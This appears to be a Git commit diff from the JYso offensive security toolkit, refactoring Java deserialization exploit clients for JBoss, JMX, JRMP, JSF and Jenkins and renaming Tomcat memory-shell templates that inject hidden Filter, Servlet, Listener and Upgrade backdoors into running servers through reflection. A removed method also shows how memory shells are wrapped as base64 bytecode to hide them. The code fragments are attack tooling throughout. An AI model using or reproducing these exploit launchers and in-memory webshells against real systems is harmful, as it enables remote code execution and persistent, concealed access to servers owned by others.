archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-23 15:21:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

修复 Exploit

Browse Source
This commit is contained in:
qi4L
2024-07-24 15:38:01 +08:00
parent 72a91dd13f
commit 27d53bc131
31 changed files with 40 additions and 80 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/com/qi4l/jndi/controllers/ysoserial.java
-1
View File
@@ -142,7 +142,6 @@ public class ysoserial {
// 储存生成的 payload
PAYLOAD = object;
if (isFromExploit()) {
return;
}
src/main/java/com/qi4l/jndi/exploit/JBoss.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.jboss.remoting3.Connection;
@@ -76,7 +76,7 @@ public class JBoss {
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
Starter.main(newArray);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
String username = null;
src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import javax.management.MBeanServerConnection;
@@ -32,7 +32,7 @@ public class JMXInvokeMBean {
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
Starter.main(newArray);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
src/main/java/com/qi4l/jndi/exploit/JRMPClient.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import sun.rmi.transport.TransportConstants;
@@ -38,7 +38,7 @@ public class JRMPClient {
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
Starter.main(newArray);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
try {
src/main/java/com/qi4l/jndi/exploit/JRMPListener.java
+3 -2
View File
@@ -1,6 +1,7 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.utils.Reflections;
import javassist.ClassClassPath;
@@ -70,7 +71,7 @@ public class JRMPListener implements Runnable {
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
Starter.main(newArray);
ysoserial(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
try {
src/main/java/com/qi4l/jndi/exploit/JSF.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import org.apache.commons.codec.binary.Base64;
@@ -46,7 +46,7 @@ public class JSF {
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
Starter.main(newArray);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
URLConnection c = u.openConnection();
src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.utils.Reflections;
import hudson.remoting.Callable;
@@ -44,7 +44,7 @@ public class JenkinsCLI {
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
Starter.main(newArray);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
Channel c = null;
src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.JRMPListener;
import com.qi4l.jndi.gadgets.utils.Reflections;
@@ -178,7 +178,7 @@ public class JenkinsListener {
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
Starter.main(newArray);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
objOut.writeObject(payloadObject);
src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.qi4l.jndi.exploit;
import com.qi4l.jndi.Starter;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.JRMPClient;
import hudson.remoting.Channel;
@@ -33,7 +33,7 @@ public class JenkinsReverse {
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
Starter.main(newArray);
ysoserial(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
String myAddr = args[1];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
src/main/java/com/qi4l/jndi/gadgets/Config/Config.java
+1 -1
View File
@@ -112,7 +112,7 @@ public class Config {
// Listener 型内存马，通常使用 ServletRequestListener， 关键方法 requestInitializedHandle
KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
// Websocket 型内存马，关键方法 onMessage
KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage");
KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage");
// Tomcat Upgrade 型内存马，关键方法 accept
KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
// Tomcat Executor 型内存马，关键方法 execute
src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java
+2 -42
View File
@@ -2,7 +2,7 @@ package com.qi4l.jndi.gadgets.utils;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.template.Agent.WinMenshell;
import com.qi4l.jndi.template.memshellStatic.tomcat.TSMSFromJMXF;
import com.qi4l.jndi.template.memshellStatic.tomcat.TFMSFromJMX;
import javassist.*;
import org.apache.commons.cli.CommandLine;
import org.apache.commons.cli.CommandLineParser;
@@ -203,7 +203,7 @@ public class InjShell {
//添加到类路径，防止出错
ClassPool pool;
pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(TSMSFromJMXF.class));
pool.insertClassPath(new ClassClassPath(TFMSFromJMX.class));
// 根据传入的不同参数，在不同方法中插入不同的逻辑
CtMethod cm = ctClass.getDeclaredMethod(method);
cm.setBody(payload);
@@ -287,46 +287,6 @@ public class InjShell {
}
public static String structureShellTom(Class<?> payload) throws Exception {
Config.init();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload));
CtClass ctClass = pool.get(payload.getName());
InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, Config.Shell_Type);
ctClass.setName(ClassNameUtils.generateClassName());
if (Config.winAgent) {
TinsertWinAgent(ctClass);
return injectClass(WinMenshell.class);
}
if (Config.linAgent) {
TinsertLinAgent(ctClass);
return injectClass(WinMenshell.class);
}
if (Config.HIDE_MEMORY_SHELL) {
switch (Config.HIDE_MEMORY_SHELL_TYPE) {
case 1:
break;
case 2:
CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
newClass.setName(ClassNameUtils.generateClassName());
String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
String className = "className=\"" + ctClass.getName() + "\";";
newClass.defrost();
newClass.makeClassInitializer().insertBefore(content);
newClass.makeClassInitializer().insertBefore(className);
if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
CtClass superClass = pool.get(abstTranslet.getName());
newClass.setSuperclass(superClass);
}
return injectClass(newClass.getClass());
}
}
return injectClass(ctClass.getClass());
}
//类加载方式，因类而异
public static String injectClass(Class clazz) {
src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java
+1 -1
View File
@@ -48,7 +48,7 @@ public class StringUtil {
public static boolean isFromExploit() {
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
for (int i = 0; i < stackTraceElements.length; i++) {
if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.gadgets.exploit")) {
if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.exploit")) {
return true;
}
}
src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java → src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.java
+2 -2
View File
@@ -21,7 +21,7 @@ import java.util.Set;
*
* @author QI4L
*/
public class TSMSFromJMXF implements Filter {
public class TFMSFromJMX implements Filter {
public static String pattern;
public static String NAME;
@@ -68,7 +68,7 @@ public class TSMSFromJMXF implements Filter {
Object filterDef = filterDefClass.newInstance();
filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, NAME);
Filter filter = new TSMSFromJMXF();
Filter filter = new TFMSFromJMX();
filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName());
filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter);
src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java → src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.java
+2 -2
View File
@@ -18,7 +18,7 @@ import java.util.List;
* 遍历线程组，在 request 中查找带有特定 Header 的请求，并从 request 获取 ServletContext 添加 Filter 型内存马
* 添加成功后，会回显 Success 字样，参考 ShiroAttack2
*/
public class TFMSFromRequestF implements Filter {
public class TFMSFromRequest implements Filter {
public static HttpServletRequest request = null;
public static HttpServletResponse response = null;
@@ -110,7 +110,7 @@ public class TFMSFromRequestF implements Filter {
public static void addFilter() {
ServletContext servletContext = request.getServletContext();
Filter filter = new TFMSFromRequestF();
Filter filter = new TFMSFromRequest();
String filterName = NAME;
String url = pattern;
if (servletContext.getFilterRegistration(filterName) == null) {
src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java → src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.java
+2 -2
View File
@@ -18,7 +18,7 @@ import java.util.Map;
*
* @author QI4L
*/
public class TFMSFromThreadF implements Filter {
public class TFMSFromThread implements Filter {
public static String pattern;
@@ -55,7 +55,7 @@ public class TFMSFromThreadF implements Filter {
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
TFMSFromThreadF behinderFilter = new TFMSFromThreadF();
TFMSFromThread behinderFilter = new TFMSFromThread();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java → src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.java
+2 -2
View File
@@ -23,7 +23,7 @@ import java.util.Set;
*
* @author QI4L
*/
public class TLMSFromJMXLi implements ServletRequestListener {
public class TLMSFromJMX implements ServletRequestListener {
static {
try {
@@ -52,7 +52,7 @@ public class TLMSFromJMXLi implements ServletRequestListener {
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(obj);
TLMSFromJMXLi listener = new TLMSFromJMXLi();
TLMSFromJMX listener = new TLMSFromJMX();
standardContext.addApplicationEventListener(listener);
}
} catch (Exception ignored) {
src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java → src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.java
+2 -2
View File
@@ -15,7 +15,7 @@ import java.lang.reflect.Field;
/**
* 使用线程注入 Tomcat Listener 型内存马
*/
public class TFMSFromThreadLi implements ServletRequestListener {
public class TLMSFromThread implements ServletRequestListener {
static {
try {
// 获取 standardContext
@@ -35,7 +35,7 @@ public class TFMSFromThreadLi implements ServletRequestListener {
standardContext = (StandardContext) field2.get(root);
}
TFMSFromThreadLi listener = new TFMSFromThreadLi();
TLMSFromThread listener = new TLMSFromThread();
standardContext.addApplicationEventListener(listener);
} catch (Exception ignored) {
}
src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java → src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.java
+2 -2
View File
@@ -19,7 +19,7 @@ import java.util.Set;
*
* @author QI4L
*/
public class TSMSFromJMXS implements Servlet {
public class TSMSFromJMX implements Servlet {
public static String pattern;
@@ -55,7 +55,7 @@ public class TSMSFromJMXS implements Servlet {
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(NAME);
standardContext.addChild(wrapper);
Servlet servlet = new TSMSFromJMXS();
Servlet servlet = new TSMSFromJMX();
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java → src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.java
+2 -2
View File
@@ -21,7 +21,7 @@ import java.util.List;
* 遍历线程组，在 request 中查找带有特定 Referer 的请求，并从 request 获取 ServletContext 添加 Servlet 型内存马
* 添加成功后，会回显 Success 字样，参考 ShiroAttack2
*/
public class TFMSFromRequestS implements Servlet {
public class TSMSFromRequest implements Servlet {
public static HttpServletRequest request = null;
public static HttpServletResponse response = null;
@@ -124,7 +124,7 @@ public class TFMSFromRequestS implements Servlet {
wrapper.setName(NAME);
standardContext.addChild(wrapper);
Servlet servlet = new TFMSFromRequestS();
Servlet servlet = new TSMSFromRequest();
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java → src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.java
+2 -2
View File
@@ -13,7 +13,7 @@ import java.lang.reflect.Field;
*
* @author QI4L
*/
public class TFMSFromThreadS implements Servlet {
public class TSMSFromThread implements Servlet {
public static String pattern;
@@ -43,7 +43,7 @@ public class TFMSFromThreadS implements Servlet {
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(NAME);
standardContext.addChild(wrapper);
Servlet servlet = new TFMSFromThreadS();
Servlet servlet = new TSMSFromThread();
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java → src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.java
+2 -2
View File
@@ -20,7 +20,7 @@ import java.util.HashMap;
/**
* Tomcat Upgrade 内存马
*/
public class TUGMSFromJMXuP implements UpgradeProtocol {
public class TUGMSFromJMX implements UpgradeProtocol {
public static String pattern;
static {
@@ -58,7 +58,7 @@ public class TUGMSFromJMXuP implements UpgradeProtocol {
upgradeProtocolsField.setAccessible(true);
HashMap<String, UpgradeProtocol> upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMXuP());
upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMX());
upgradeProtocolsField.set(handler, upgradeProtocols);
break;
}